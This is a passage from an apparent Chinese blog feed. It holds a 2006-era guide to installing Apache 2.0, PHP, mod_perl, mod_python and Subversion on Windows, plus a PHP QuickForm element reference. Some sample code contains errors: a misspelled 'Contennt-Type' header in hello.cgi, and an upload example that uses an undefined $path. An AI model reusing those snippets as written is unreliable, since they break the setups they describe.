<LI><STRONG>modules</STRONG> - 扩展模块，其下有许多扩展名为 .so 的文件，实质上都是Windows .dll文件。 
<LI><STRONG>proxy</STRONG> - 使用Apache作代理时的缓存目录。</LI></UL>
<H4 id=content_1_3>修改默认配置</H4>
<P>默认情况下网站内容位于 Apache2/htdocs 下，而实际应用中很少讲网站内容和服务器程序放在一起。因此我们要做的第一步就是修改网站内容的位置。</P>
<P>我们假设网站的静态内容位于 D:\wwwroot\htdocs 下，而脚本程序位于 D:\wwwroot\cgi-bin 下。那么首先要建立这两个目录。</P>
<P>之后打开 httpd.conf 文件，找到这一行：</P><PRE> DocumentRoot "C:/Program Files/Apache Group/Apache2/htdocs"</PRE>
<P>将其修改成：</P><PRE> DocumentRoot "D:/wwwroot/htdocs"</PRE>
<P>然后找到这样的内容（各行之间可能夹杂着注释）：</P><PRE> &lt;Directory "C:/Program Files/Apache Group/Apache2/htdocs"&gt;
     Options Indexes FollowSymLinks
     AllowOverride None
     Order allow,deny
     Allow from all
 &lt;/Directory&gt;</PRE>
<P>这一段是定义网站主目录的权限。我们应当修改主目录的位置。另外，Indexes 权限表示当某个目录下不存在 index.html 文件时，显示该目录的文件列表。实际应用中这会造成安全漏洞，应当将其删除。修改之后的内容如下：</P><PRE> &lt;Directory "D:/wwwroot/htdocs"&gt;
     Options FollowSymLinks
     AllowOverride None
     Order allow,deny
     Allow from all
 &lt;/Directory&gt;</PRE>
<P>然后找到这一行：</P><PRE> ScriptAlias /cgi-bin/ "C:/Program Files/Apache Group/Apache2/cgi-bin/"</PRE>
<P>将其修改为：</P><PRE> ScriptAlias /cgi-bin/ "D:/wwwroot/cgi-bin/"</PRE>
<P>再找到这样的内容：</P><PRE> &lt;Directory "C:/Program Files/Apache Group/Apache2/cgi-bin"&gt;
     AllowOverride None
     Options None
     Order allow,deny
     Allow from all
 &lt;/Directory&gt;</PRE>
<P>将其修改为：</P><PRE> &lt;Directory "D:/wwwroot/cgi-bin"&gt;
     AllowOverride None
     Options None
     Order allow,deny
     Allow from all
 &lt;/Directory&gt;</PRE>
<P>这样配置文件修改完毕。在系统服务中选择 Apache2 服务单击“重新启动服务”按钮，或者在系统托盘的Apache图标中选择Restart，或者通过命令行输入以下命令来重新启动 Apache。</P><PRE> C:\&gt; net stop apache2
 C:\&gt; net start apache2</PRE>
<P>如果配置文件修改无误，则应当正常重新启动。之后打开浏览器输入 <A href="http://localhost/" rel=nofollow>http://localhost/</A>，你应当看到一条“Forbidden”的错误信息。然后建立 D:\wwwroot\htdocs\index.html 文件，内容随意。再次用浏览器打开 <A href="http://localhost/" rel=nofollow>http://localhost/</A>，应当能看到建立的 index.html 文件的内容。</P>
<P>为了以后安装其他模块，我们应当修改系统变量 PATH 以便其他模块能够找到 Apache 的程序库。在<STRONG>控制面板-&gt;系统-&gt;高级-&gt;环境变量</STRONG>对话框中，编辑系统变量中的 <STRONG>Path</STRONG>，在其最前面添加以下内容：</P><PRE> C:\Program Files\Apache Group\Apache2\bin;</PRE>
<P>修改之后，继续安装下面的模块之前，建议重新启动计算机以避免不必要的错误。</P>
<H4 id=content_1_4>常见错误及修正方法</H4>
<H4 id=content_1_5>为什么不使用最新版的 Apache 2.2.3</H4>
<P>Apache 2.0.x 版本的 Windows 版使用 Visual C++ 6.0 编译，而 Apache 2.2.x 版本的 Windows版使用 Visual Studio .NET 编译。由于编译器不同，导致使用的程序库也不同，因此 Apache 2.0.x 和 Apache 2.2.x 不能兼容。目前，许多 Apache 的功能扩展模块仅能工作于 Apache 2.0.x 下，包括 php、subversion 等。要想使用这些功能，就必须要安装 Apache 2.0.x 版。</P>
<P>当然，这仅限于 Windows 版。其他操作系统上的 Apache 不受此限。</P>
<H3 id=content_1_6>安装 php 5.1.6</H3>
<P>php的安装相对较简单。为了管理方便，我们将 php 与 Apache 放在一起。</P>
<P>首先将 php-5.1.6-Win32.zip 解压到 C:\Program Files\Apache Group\Apache2\php5 目录下。</P>
<P>php5中的 Apache2 模块为 <STRONG>php5apache2.dll</STRONG>（注意不是 php5apache.dll，那个是 Apache 1.3.x 的模块）。修改 Apache2/conf 目录下的 httpd.conf 以加载 php5 模块。查找 <STRONG>LoadModule</STRONG>，然后在其附近添加以下内容以加载php5模块，并设置 php.ini 的位置。</P><PRE> LoadModule php5_module php5/php5apache2.dll
 PHPIniDir php5</PRE>
<P>然后查找<STRONG>AddType</STRONG>，在其附近添加以下内容，以增加 php 的类型。</P><PRE> AddType application/x-httpd-php .php</PRE>
<P>再查找<STRONG>DirectoryIndex</STRONG>命令，将其修改为以下内容，增加目录的默认文档 index.php。</P><PRE> DirectoryIndex index.html index.html.var index.htm index.php</PRE>
<P>然后进入 php5 目录，复制 <STRONG>php.ini-dist</STRONG> 文件为 <STRONG>php.ini</STRONG>。然后修改 php.ini，查找 <STRONG>extension_dir</STRONG>，该变量指定了 php 功能模块的位置。将其修改为以下的内容。</P><PRE> extension_dir = "./php5/ext"</PRE>
<P>注意，这个路径是从 Apache2 下开始算起，而不是从 Apache2/php5 下开始。</P>
<P>查找 session.save_path，这个变量指定session的保存位置。将其前面的分号去掉，然后修改该行为以下内容：</P><PRE> session.save_path = "C:\Program Files\Apache Group\Apache2\tmp"</PRE>
<P>然后在 Apache2 目录下建立 <STRONG>tmp</STRONG> 目录，作为session的保存目录。</P>
<P>最后重新启动 Apache 服务器（方法参考 Apache 安装一节）。为测试 php 是否安装成功，在文档目录 D:\wwwroot\htdocs 下建立 phpinfo.php 文件，内容如下：</P><PRE> &lt;?php
   phpinfo();
 ?&gt;</PRE>
<P>然后打开浏览器，访问 <A href="http://localhost/phpinfo.php" rel=nofollow>http://localhost/phpinfo.php</A> 。如果能看到 php 的信息页，即表明php安装成功。</P>
<H4 id=content_1_7>PHP各个目录的作用</H4>
<UL class=list1 style="PADDING-LEFT: 16px; MARGIN-LEFT: 16px">
<LI><STRONG>dev</STRONG> - 开发用 php 静态库。 
<LI><STRONG>ext</STRONG> - php扩展模块。 
<LI><STRONG>extras</STRONG> - 相关文件。 
<LI><STRONG>PEAR</STRONG> - 访问php模块网站 PEAR 的必要文件。</LI></UL>
<P>另外，php目录下的部分文件功能如下。</P>
<UL class=list1 style="PADDING-LEFT: 16px; MARGIN-LEFT: 16px">
<LI><STRONG>php.exe</STRONG> - php的命令行解释程序，也可用作 CGI 解释器。 
<LI><STRONG>php5apache2.dll</STRONG> - Apache 2.0的PHP模块。 
<LI><STRONG>php5apache.dll</STRONG> - Apache 1.3的PHP模块。 
<LI><STRONG>php5isapi.dll</STRONG> - Microsoft IIS的PHP模块。 
<LI><STRONG>php5nsapi.dll</STRONG> - Netscape Server的PHP模块。 
<LI><STRONG>php5ts.dll</STRONG> - PHP及其扩展模所需的库文件。</LI></UL>
<H4 id=content_1_8>添加 mysql 支持</H4>
<P>php4之前的版本自带mysql，而在php5中，mysql不再默认支持。为了使php5支持mysql，我们需要稍稍修改一下设置。</P>
<P>打开 php5/php.ini 文件，查找下面这一行，并将其前面的注释符号分号 ; 去掉。</P><PRE> extension=php_mysql.dll</PRE>
<P>但是这样还不能使用mysql功能，因为 php_mysql.dll 需要 php5 目录下的 php5ts.dll 和 libmysql.dll （可以使用 Dependency Walker 打开 php_mysql.dll 查看），但是这两个 DLL 文件既不与 php_mysql.dll 位于同一目录下，也没有和可执行文件Apache.exe 位于同一目录下，因此 php_mysql.dll 找不到这两个DLL，不能启动。解决方法就是将 php5ts.dll 和 libmysql.dll 复制到 Apache2/bin 下，然后重新启动 Apache2。</P>
<P>使用浏览器打开前面的 phpinfo.php 页面，可以看到页面输出的中部有 mysql 模块的配置，说明 mysql 模块已经正常安装。</P>
<H3 id=content_1_9>安装 ActivePerl 5.8.8</H3>
<P>ActivePerl是Perl的一个Win32移植版。安装方法很简单，运行 ActivePerl-5.8.8.817-MSWin32-x86-257965.msi ，即出现安装界面，一路 Next 即可。默认情况下安装到 C:\Perl 下。注意在选择功能时务必选择 PPM 3.0，该程序能够很方便地安装各种Perl模块。</P>
<P>下一步需要在系统环境变量中增加 Perl 所在的位置。如果你在安装Perl时选择了 Add Perl to the PATH enviroment variable，则可以省略这一步。否则打开<STRONG>控制面板-&gt;系统-&gt;高级-&gt;环境变量</STRONG>，修改系统变量中的 Path，在其最前面增加以下内容：</P><PRE> C:\Perl\bin;</PRE>
<P>修改环境变量后，在安装 mod_perl 之前，最好能重新启动计算机。</P>
<H3 id=content_1_10>安装 mod_perl 2.0.2</H3>
<P>mod_perl是Apache的Perl扩展模块。它模拟了一个Perl的CGI执行环境，以便在Apache中执行Perl脚本。但是mod_perl要比真正的Perl CGI的性能高上百倍。</P>
<P>Apache 2.0.x 系列对应的 mod_perl 第二版，mod_perl目前最新版本是 2.0.2。可以使用Perl包管理工具 ppm 进行安装。</P>
<P>首先启动命令行提示符（<STRONG>开始-&gt;运行-&gt;输入cmd，OK</STRONG>），然后输入 <STRONG>ppm</STRONG>，即可启动 ppm。如果启动失败，看看是否在安装 ActivePerl 的时候忘记添加 Path 环境变量了。下面以 ppm&gt; 开头的行为输入的命令，其他行为输出结果。 # 符号后面为注释。</P><PRE> # 添加repository。repository为存放Perl模块的网站。
 ppm&gt; repos add "uwinnipeg Perl 5.8 repository" http://theoryx5.uwinnipeg.ca/cgi-bin/ppmserver?urn:/PPMServer58
 Repositories:
 [1] ActiveState Package Repository
 [2] uwinnipeg Perl 5.8 repository
 
 # 搜索 mod_perl 模块
 ppm&gt; search mod_perl
 Searching in Active Repositories
   1. Apache-mod_perl_guide        [1.31] Apache-mod_perl_guide
   2. mod_perl                    [2.0.2] Embed a Perl interpreter in the Apache/2.0 HTTP server
   3. mod_perl-1            [1.29_01-dev] Embed a Perl interpreter in the Apache/1.3.27 HTTP server
   4. mod_perl-2.2            [2.0.3-dev] Embed a Perl interpreter in the Apache/2.2 HTTP server
   5. mod_perl-eapi-1       [1.29_01-dev] Embed a Perl interpreter in the Apache/1.3.27 HTTP server (with EAPI support)
 
 # 搜索结果中第2项为我们要安装的 mod_perl 2.0.2，使用install命令进行安装
 ppm&gt; install 2
 Package 2:
 ====================
 Install 'mod_perl' version 2.0.2 in ActivePerl 5.8.8.817.
 ====================
 Downloaded 948125 bytes.
 ......
 
 # 安装途中会询问 Apache 的模块安装位置，输入 C:\Program Files\Apache Group\Apache2\modules
 Fetching http://theoryx5.uwinnipeg.ca/ppms/x86/mod_perl.so ...  done!
 Where should mod_perl.so be placed? [D:/Apache2/modules] C:\Program Files\Apache Group\Apache2\modules   # 输入路径
 ......
 Successfully installed mod_perl version 2.0.2 in ActivePerl 5.8.8.817.</PRE><PRE> # 退出 ppm
 ppm&gt; exit</PRE>
<P>安装完毕之后，我们可以在 Apache2/modules 目录下发现刚刚安装的 mod_perl.so 文件。下面我们要将此文件加载到 Apache 中。</P>
<P>打开 Apache2/conf 目录下的 httpd.conf文件，查找 <STRONG>LoadModule</STRONG>，在其附近添加以下内容：</P><PRE> 
 #LoadFile "C:/Perl/bin/perl58.dll"    # 如果你没有在环境变量path中添加 C:\Perl\bin 则需要这一行
 LoadModule perl_module modules/mod_perl.so
 
 # 添加mod_perl配置内容，并利用其处理 cgi-bin 下的脚本文件
 &lt;Directory "D:/wwwroot/cgi-bin"&gt;
     SetHandler perl-script
     PerlResponseHandler ModPerl::Registry
     PerlOptions +ParseHeaders
     Options +ExecCGI
     AllowOverride None
     Order allow,deny
     Allow from all
 &lt;/Directory&gt;</PRE>
<P>修改完成之后重新启动 Apache，mod_perl 即安装成功。你可以在系统服务中看到 Apache2 服务的描述中多了 mod_perl/2.0.2 Perl/v5.8.8 的字样。</P>
<H4 id=content_1_11>测试CGI脚本的执行</H4>
<P>上面我们已经设置 cgi-bin 目录下的所有程序都使用 mod_perl 进行处理。这里我们执行一个脚本以确认其是否正常。</P>
<P>在 D:/wwwroot/cgi-bin 目录下建立 hello.cgi 文件，内容如下。 (实际上，该文件可以是任意扩展名，我们在Apache配置中用 Directory 指令指定 cgi-bin 目录，因此 cgi-bin 下所有的文件都将被 mod_perl 处理。)</P><PRE> # hello.cgi
 print "Contennt-Type: text/html\n\n";
 print "Hello, world! This is a CGI.";</PRE>
<P>保存之后在浏览器中输入 <A href="http://localhost/cgi-bin/hello.cgi" rel=nofollow>http://localhost/cgi-bin/hello.cgi</A> ，如能得到下面的结果则说明 mod_perl 工作正常。</P><PRE> Hello, world! This is a CGI.</PRE>
<P>如果显示 Internal Server Error，可参考 logs/httpd-error.log 文件中的错误信息。</P>
<H4 id=content_1_12>测试 mod_perl Apache Handler 的执行</H4>
<P>mod_perl 的另一种执行方法就是编写 Apache Handler。Apache Handler 是一个Perl模块，在 Apache 启动时读入并常驻内存，用来处理Web请求。</P>
<P>在 D:/wwwroot 下建立 lib 目录，用于保存 Perl 模块。我们将建立 HelloWorld::Hello 模块，内容为显示 “Hello, world”。为建立这个模块，我们需要进行以下的工作。</P>
<UL class=list1 style="PADDING-LEFT: 16px; MARGIN-LEFT: 16px">
<LI>建立模块本身 
<LI>将模块的位置放到 @INC 变量中以便 mod_perl 能找到我们建立的模块 
<LI>修改 httpd.conf，设置使用该模块的位置</LI></UL>
<P>在 lib 下建立 HelloWorld 目录，并在 HelloWorld 目录下建立 Hello.pm 文件，其内容如下。</P><PRE> package HelloWorld::Hello;
 
 use strict;
 use warnings;
 use Apache2::RequestRec ();
 use Apache2::RequestIO ();
 use Apache2::Const -compile =&gt; qw(OK);
 
 sub handler {
     my $r = shift;
     $r-&gt;content_type('text/plain');
     print "Hello, world! This is an Apache Handler.\n";
     return Apache2::Const::OK;
 }
 1;</PRE>
<P>书写Perl模块时注意不要忘记最后的 1; ，如果没有的话 mod_perl 会出错。（该文件的完整路径为 D:\wwwroot\lib\HelloWorld\Hello.pm，不要弄错了。）</P>
<P>然后我们需要将 HelloWorld::Hello 模块的位置告诉 mod_perl。在 D:\wwwroot\lib 下建立 startup.pl 文件，内容如下：</P><PRE> use lib qw(D:/wwwroot/lib);
 1;</PRE>
<P>然后修改 httpd.conf，加入下面的设置。</P><PRE> PerlRequire "D:/wwwroot/lib/startup.pl"</PRE>
<P>现在这个模块已经可以使用了。我们只需告诉 Apache 在什么情况下使用该模块。修改 httpd.conf，加入下面的设置。</P><PRE> &lt;Location /hello&gt;
     SetHandler perl-script
     PerlResponseHandler HelloWorld::Hello
 &lt;/Location&gt;</PRE>
<P>最后重新启动 Apache。在浏览器中打开 <A href="http://localhost/hello" rel=nofollow>http://localhost/hello</A>，应当能看到下面的文字：</P><PRE> Hello, world! This is an Apache Handler.</PRE>
<H3 id=content_1_13>安装 python 2.3.5</H3>
<P>双击 Python-2.3.5.exe 进行安装。默认的安装目录为 C:\Python23。</P>
<H4 id=content_1_14>为什么不使用 python 2.4 或 python 2.5 版本</H4>
<H3 id=content_1_15>安装 mod_python</H3>
<P>双击 mod_python-3.2.10.win32-py2.3-apache2.0.exe 进行安装。安装程序会检测 Python 和 Apache 的安装路径，并将 mod_python.so 安装至 Apache2/modules 目录下。</P>
<P>打开 Apache2/conf/httpd.conf，查找 <STRONG>LoadModule</STRONG>，并在其附近添加以下内容。</P><PRE> LoadModule python_module modules/mod_python.so</PRE>
<P>最后重新启动 Apache2。</P>
<H3 id=content_1_16>安装 subversion</H3>
<P>subversion是一个优秀的版本控制系统，它能够完整地记录软件开发过程中源代码的变动，并可以随时将源代码恢复到以前的任意版本。subversion的服务器可以单独使用，也可以作为 Apache 的模块，通过 WebDAV 协议使用。</P>
<P>在 subversion 的<A href="http://subversion.tigris.org/project_packages.html" rel=nofollow>下载页面</A>上，你会看到关于 Windows 版的说明，简单来讲就是 subversion 没有 Python 2.4 binding，也就是说，使用 Python 2.4 不能对 subversion 进行编程，这也是我们不使用 Python 2.4 的一个原因。</P>
<P>将 svn-win32-1.3.2.zip 解压到 C:\svn 下。由于 svn 的 Apache2 模块需要 C:\svn\bin 下的 intl3_svn.dll 和 libdb43.dll 文件，所以要在环境变量 Path 中增加下面的内容，并重新启动计算机。</P><PRE> C:\svn\bin;</PRE>
<P>将 C:\svn\bin 下的 mod_dav_svn.so 文件复制到 Apache2/modules 目录下。</P>
<P>打开 Apache2/conf/httpd.conf 文件，然后查找下面这一行，去掉其前面的注释符号 # 。</P><PRE> LoadModule dav_module modules/mod_dav.so</PRE>
<P>查找 <STRONG>LoadModule</STRONG>，并在其附近添加以下内容。</P><PRE> LoadModule dav_svn_module modules/mod_dav_svn.so</PRE>
<P>最后重新启动 Apache2。</P><!-- end Pukiwiki generated code--><BR>源:http://tech.idv2.com/2006/08/31/apache-install-note/]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=429" /> 
	  <id>http://www.openx.cn/default.asp?id=429</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[[PHP备忘]QuickForm可添加的表单元素快速参考]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2007-09-10T11:25:05+08:00</updated>
	  <published>2007-09-10T11:25:05+08:00</published>
		  <summary type="html"><![CDATA[<DIV class=content>
<H3 class=guide><A name=doc_chap7_sect2><FONT color=#336699>advcheckbox</FONT></A></H3>
<P>通常当一个checkbox被选择时仅仅传递一个值。未被选择的checkbox不但没有值，而且这个checkbox变量在传递给正常的处理过程时也不存在。The <CODE><FONT face=新宋体>advcheckbox</FONT></CODE> overcomes these problems. </P><PRE>  addElement('advcheckbox',
             string element-name,   // name of advcheckbox
             string element-label,  // label output before advcheckbox
             string text,           // label output after advcheckbox
             mixed attributes,      // string or array of attributes
             mixed values);         // see below
  </PRE>
<P>如果values被忽略，则如果此复选框没有被选择时返回一个空字符串，如果被选择了则返回1。若果一个字符串值被传递，那么返回值是空字符串或者被提供的字符串，如果有两个字符串元素的数组被传递they are taken as the unchecked/checked values to return. </P>
<H3 class=guide><A name=doc_chap7_sect3><FONT color=#336699>button</FONT></A></H3><A name=doc_chap7_pre2></A><PRE>  addElement('button',
             string element-name,   // name of button
             string value,          // text of button
             mixed attributes);     // string or array of attributes
  </PRE>
<H3 class=guide><A name=doc_chap7_sect4><FONT color=#336699>checkbox</FONT></A></H3><PRE>  addElement('checkbox',
             string element-name,   // name of checkbox
             string element-label,  // label output before checkbox
             string text,           // label output after checkbox
             mixed attributes);     // string or array of attributes
  </PRE>
<H3 class=guide><A name=doc_chap7_sect5><FONT color=#336699>date</FONT></A></H3>
<P>这并不是一个标准的Html表单元素，但可以构建一个具有多个下拉列表框的日期时间选择器。</P><PRE>  addElement('date',
             string element-name,   // name of date
             string element-label,  // label output before date
             array options,         // see below
             mixed attributes);     // string or array of attributes
  </PRE>
<P><CODE><FONT face=新宋体>options</FONT></CODE> is an array which sets the language, the date/time format, and the minimum and maximum year offered in the select boxes. The format string determines not only the date/time format, but also the number of select boxes shown. The value of the date returned is an associative array, each element key being the relevant format character and the value being the value selected by the user. An example should make this clear: </P><PRE>  &lt;?php
      require_once "HTML/QuickForm.php";
      $form = new HTML_QuickForm('frmTest', 'get');
      $options = array(
          'language'  =&gt; 'en',
          'format'    =&gt; 'dMYHi',
          'minYear'   =&gt; 2001,
          'maxYear'   =&gt; 2005
      );
      $form-&gt;addElement('date', 'mydate', 'Choose date', $options);
      $form-&gt;addElement('submit', 'btnSubmit', 'Submit');

      if ($form-&gt;validate()) {
          // Form is validated, then processes the data
          $form-&gt;freeze();
          $form-&gt;process('process_data', false);
      }
      else {
          $form-&gt;display();
      }

      function process_data ($values) {
          echo "&lt;pre&gt;";
          var_dump($values);
          echo "&lt;/pre&gt;";
      }
  ?&gt;</PRE>
<P>The possible values for the format string are: </P><PRE>  D = Short names of days
  l = Long names of days
  d = Day numbers
  M = Short names of months
  F = Long names of months
  m = Month numbers
  Y = Four digit year
  h = 12 hour format
  H = 23 hour  format
  i = Minutes
  s = Seconds
  a = am/pm
  A = AM/PM
  </PRE>
<P>To set default values for the <CODE><FONT face=新宋体>date</FONT></CODE> element simply create an array and assign the required values to the format string elements defined above. For example, to set the default date to 28th February 2005: </P><PRE>  $form-&gt;setDefaults(array(
    'my_date' =&gt; array('d'=&gt;28, 'F'=&gt;"February", 'Y'=&gt;2005)));
  </PRE>
<P>Here's a complete example that sets the default date to today's date: </P><PRE>  &lt;?php
    require_once "HTML/QuickForm.php";
    $form = new HTML_QuickForm('frmTest', 'get');
    $options = array(
        'language'  =&gt; 'en',
        'format'    =&gt; 'dMYHi', 
        'minYear'   =&gt; 2000, 
        'maxYear'   =&gt; 2010 
    ); 
    $date_defaults = array(
        'd' =&gt; date('d'),        
        'M' =&gt; date('n'),
        'Y' =&gt; date('Y'),
        'H' =&gt; date('H'),
        'i' =&gt; date('i')
    );

    $form-&gt;setDefaults(array('mydate' =&gt; $date_defaults));
    $form-&gt;addElement('date', 'mydate', 'Choose date', $options);
    $form-&gt;addElement('submit', 'btnSubmit', 'Submit');
    
    if ($form-&gt;validate()) {
        // Form is validated, then processes the data
        $form-&gt;freeze();
        $form-&gt;process('process_data', false);
    }
    else {
        $form-&gt;display();
    }
     
    function process_data ($values) {
        echo "&lt;pre&gt;";
        var_dump($values);
        echo "&lt;/pre&gt;";
    }
?&gt;</PRE>
<H3 class=guide><A name=doc_chap7_sect6><FONT color=#336699>element</FONT></A></H3>
<P>For user-defined elements. This section to be completed. </P>
<H3 class=guide><A name=doc_chap7_sect7><FONT color=#336699>file</FONT></A></H3>
<P><B>Note: </B>The 'file' documentation was submitted by Leonie Price</P><PRE>  addElement('file',
             string element-name,   // name of file element
             string element_label,  // label for file element
             mixed attributes);     // string or array of attributes
  </PRE>
<P>This is a pseudo-element that displays a text box and button, and provides all the supporting functions needed to manage the uploading of files. </P>
<P><B>Warning: </B>The official documentation records this element as being depreciated, and may not be supported in future versions of QuickForm.</P>
<P>Let's look at an example of the use of the <CODE><FONT face=新宋体>file</FONT></CODE> element: </P><PRE>  &lt;?php
      require_once "HTML/QuickForm.php";
      $uploadForm = new HTML_QuickForm('upload_form', 'post');
      $path = "/path/to/uploads";
      $file =& $uploadForm-&gt;addElement('file', 'filename', 'File:');
      $uploadForm-&gt;addRule('filename', 'You must select a file', 'uploadedfile');
      $uploadForm-&gt;addElement('submit', 'btnUpload', 'Upload');
      if ($uploadForm-&gt;validate()) {
          $uploadForm-&gt;process('process', true);
      }
      else {
          $uploadForm-&gt;display();
      }

      function process($values) {
          global $file;
          if ($file-&gt;isUploadedFile()) {
              $file-&gt;moveUploadedFile($path);
          }
          else {
              print "No file uploaded";
          }
      }
  ?&gt;</PRE>
<P>There are a couple of points to note in this code. Firstly, the code segment </P><PRE>$file =& $uploadForm-&gt;addElement('file', 'filename', 'File:');</PRE>
<P>creates a reference called <CODE><FONT face=新宋体>$file</FONT></CODE> to the file being uploaded, which is used later in the <CODE><FONT face=新宋体>process</FONT></CODE> function. </P>
<P>Secondly, the rule to check that a file has been selected, <CODE><FONT face=新宋体>uploadedfile</FONT></CODE>, exists specifically for the <CODE><FONT face=新宋体>file</FONT></CODE> element. There are other custom rules for the file element: </P>
<P><CODE><FONT face=新宋体>maxfilesize</FONT></CODE> - sets the maximum file size that may be uploaded. For example: </P><PRE>  $uploadForm-&gt;addRule('filename', 'The file you selected is too large', 'maxfilesize', 524288);</PRE>
<P><CODE><FONT face=新宋体>mimetype</FONT></CODE> - defines the type of file which may be uploaded. For example: </P><PRE>  $uploadForm-&gt;addRule('filename', 'Must be a jpeg', 'mimetype', array('image/jpeg', 'image/jpeg') );</PRE>
<P>Finally, after validation the process function is called. The final argument, <CODE><FONT face=新宋体>true</FONT></CODE>, indicates that the uploaded file(s) should be processed with the form. </P>
<H3 class=guide><A name=doc_chap7_sect8><FONT color=#336699>header</FONT></A></H3><PRE>  addElement('header',
             string element-name,   // name of header
             string text);          // text of header
  </PRE>
<H3 class=guide><A name=doc_chap7_sect9><FONT color=#336699>hidden</FONT></A></H3><PRE>  addElement('hidden',
             string element-name,   // name of hidden element
             string value,          // value of hidden element
             mixed attributes);     // string or array of attributes
  </PRE>
<P></P>
<H3 class=guide><A name=doc_chap7_sect10><FONT color=#336699>hiddenselect</FONT></A></H3>
<P>This section to be completed. </P>
<H3 class=guide><A name=doc_chap7_sect11><FONT color=#336699>hierselect</FONT></A></H3>
<P>This pseudo-element dynamically creates two HTML Select elements. The values available in the second Select element are determined by the value selected in the first. For example, the first box could list countries and the second cities; only the cities which exist in the selected country would be available. </P><PRE>  addElement('hierselect',
             string element-name,   // name of hierselect element
             string label,          // text label
             mixed attributes);     // string or array of attributes
  </PRE>
<P>The methods <CODE><FONT face=新宋体>setMainOptions</FONT></CODE> and <CODE><FONT face=新宋体>setSecOptions</FONT></CODE> are used to populate the two select boxes. The argument to setMainOptions is a single dimension array; the argument to setSecOptions is a two-dimension array, the first dimension being the key used to associate the secondary option to the appropriate main option. The value returned is a two-element array, the first element being the value of the main option and the second element being the value of the secondary options. An example should make the use of hierselect easier to understand: </P><PRE>  &lt;?php
      require_once "HTML/QuickForm.php";
      $form = new HTML_QuickForm('frmTest', 'get');

      $main = array();
      $secondary = array();

      $main[0] = "England";
      $main[1] = "Scotland";
      $main[2] = "USA";

      $secondary[0][0] = "London";
      $secondary[0][1] = "Manchester";
      $secondary[0][2] = "Liverpool";
      $secondary[1][3] = "Edinburgh";
      $secondary[1][4] = "Glasgow";
      $secondary[2][5] = "Fort Worth";
      $secondary[2][6] = "Boston";
      $secondary[2][7] = "Los Angles";

      $sel =& $form-&gt;addElement('hierselect', 'location', 'Location:');
      $sel-&gt;setMainOptions($main);
      $sel-&gt;setSecOptions($secondary);    
      $form-&gt;addElement('submit', 'btnSubmit', 'Submit');

      if ($form-&gt;validate()) {
          // Form is validated, then processes the data
          $form-&gt;freeze();
          $form-&gt;process('process_data', false);
      }
      else {
          $form-&gt;display();
      }

      function process_data ($values) {
          echo "&lt;pre&gt;";
          var_dump($values);
          echo "&lt;/pre&gt;";
      }
  ?&gt;</PRE>
<P><B>Warning: </B>Note that if a default value for the main box is set this does not automatically set the contents for the secondary box</P>
<P>Set default as follows: </P><PRE>      // First part of form as previous example
      $form-&gt;setDefaults(array('location'=&gt;array(1,4)));
      $sel =& $form-&gt;addElement('hierselect', 'location', 'Location:');
      $sel-&gt;setMainOptions($main);
      $sel-&gt;setSecOptions($secondary);    
      $form-&gt;addElement('submit', 'btnSubmit', 'Submit');
      // Rest of form as previous example</PRE>
<H3 class=guide><A name=doc_chap7_sect12><FONT color=#336699>html</FONT></A></H3>
<P>This pseudo-element adds raw HTML to a form. </P><PRE>  addElement('html',
             string html-text);     // the HTML to add
  </PRE>
<H3 class=guide><A name=doc_chap7_sect13><FONT color=#336699>image</FONT></A></H3>
<P>Adds an image to a form. </P><PRE>  addElement('image',
             string element-name,   // name for image
             string src,            // source file of image
             mixed attributes);     // string or array of attributes
  </PRE>
<H3 class=guide><A name=doc_chap7_sect14><FONT color=#336699>link</FONT></A></H3>
<P>Creates a link. </P><PRE>  addElement('link',
             string element-name,   // name for link
             string label,          // label for link field
             string href,           // URI of link
             string text,           // text to display
             mixed attributes);     // string or array of attributes
  </PRE>
<H3 class=guide><A name=doc_chap7_sect15><FONT color=#336699>password</FONT></A></H3><PRE>  addElement('password',
             string element-name,   // name for password
             string label,          // label for password field
             mixed attributes);     // string or array of attributes
  </PRE>
<H3 class=guide><A name=doc_chap7_sect16><FONT color=#336699>radio</FONT></A></H3>
<P><FONT color=#336699></FONT></P><PRE>  addElement('radio',
             string element-name,   // name for radio button
             string label,          // text to display before button
             string text,           // text to display after button
             int value,             // the value returned
             mixed attributes);     // string or array of attributes
  </PRE>
<P><B>Note: </B>Adding multiple radio buttons with the same element-name will cause them to behave as a group (ie, only one can be selected).</P>
<P>To select a default radio button from a group, use: </P><PRE>  $form-&gt;setDefaults(array(element-name =&gt; value));
  </PRE>
<H3 class=guide><A name=doc_chap7_sect17><FONT color=#336699>reset</FONT></A></H3><PRE>  addElement('reset',
             string element-name,   // name of reset
             string value,          // text of button
             mixed attributes);     // string or array of attributes
  </PRE>
<H3 class=guide><A name=doc_chap7_sect18><FONT color=#336699>select</FONT></A></H3><PRE>  addElement('select',
             string element-name,   // name of select
             string label,          // label for select
             mixed data,            // data for select; see earlier text
             mixed attributes);     // string or array of attributes
  </PRE>
<H3 class=guide><A name=doc_chap7_sect19><FONT color=#336699>static</FONT></A></H3>
<P>This element displays static text on the form. </P><PRE>  addElement('static',
             string label,          // label to display
             string text);          // text to display
  </PRE>
<H3 class=guide><A name=doc_chap7_sect20><FONT color=#336699>submit</FONT></A></H3><PRE>  addElement('submit',
             string element-name,   // name of submit
             string value,          // text of button
             mixed attributes);     // string or array of attributes
  </PRE>
<H3 class=guide><A name=doc_chap7_sect21><FONT color=#336699>text</FONT></A></H3><PRE>  addElement('text',
             string element-name,   // name of text box
             string label,          // label
             mixed attributes);     // string or array of attributes
  </PRE>
<H3 class=guide><A name=doc_chap7_sect22><FONT color=#336699>textarea</FONT></A></H3><PRE>  addElement('textarea',
             string element-name,   // name of textarea
             string label,          // label
             mixed attributes);     // string or array of attributes
</PRE></DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=428" /> 
	  <id>http://www.openx.cn/default.asp?id=428</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[国内居然有人成功破解iPhone了!特转改帖!!!!!!!]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2007-08-07T09:22:11+08:00</updated>
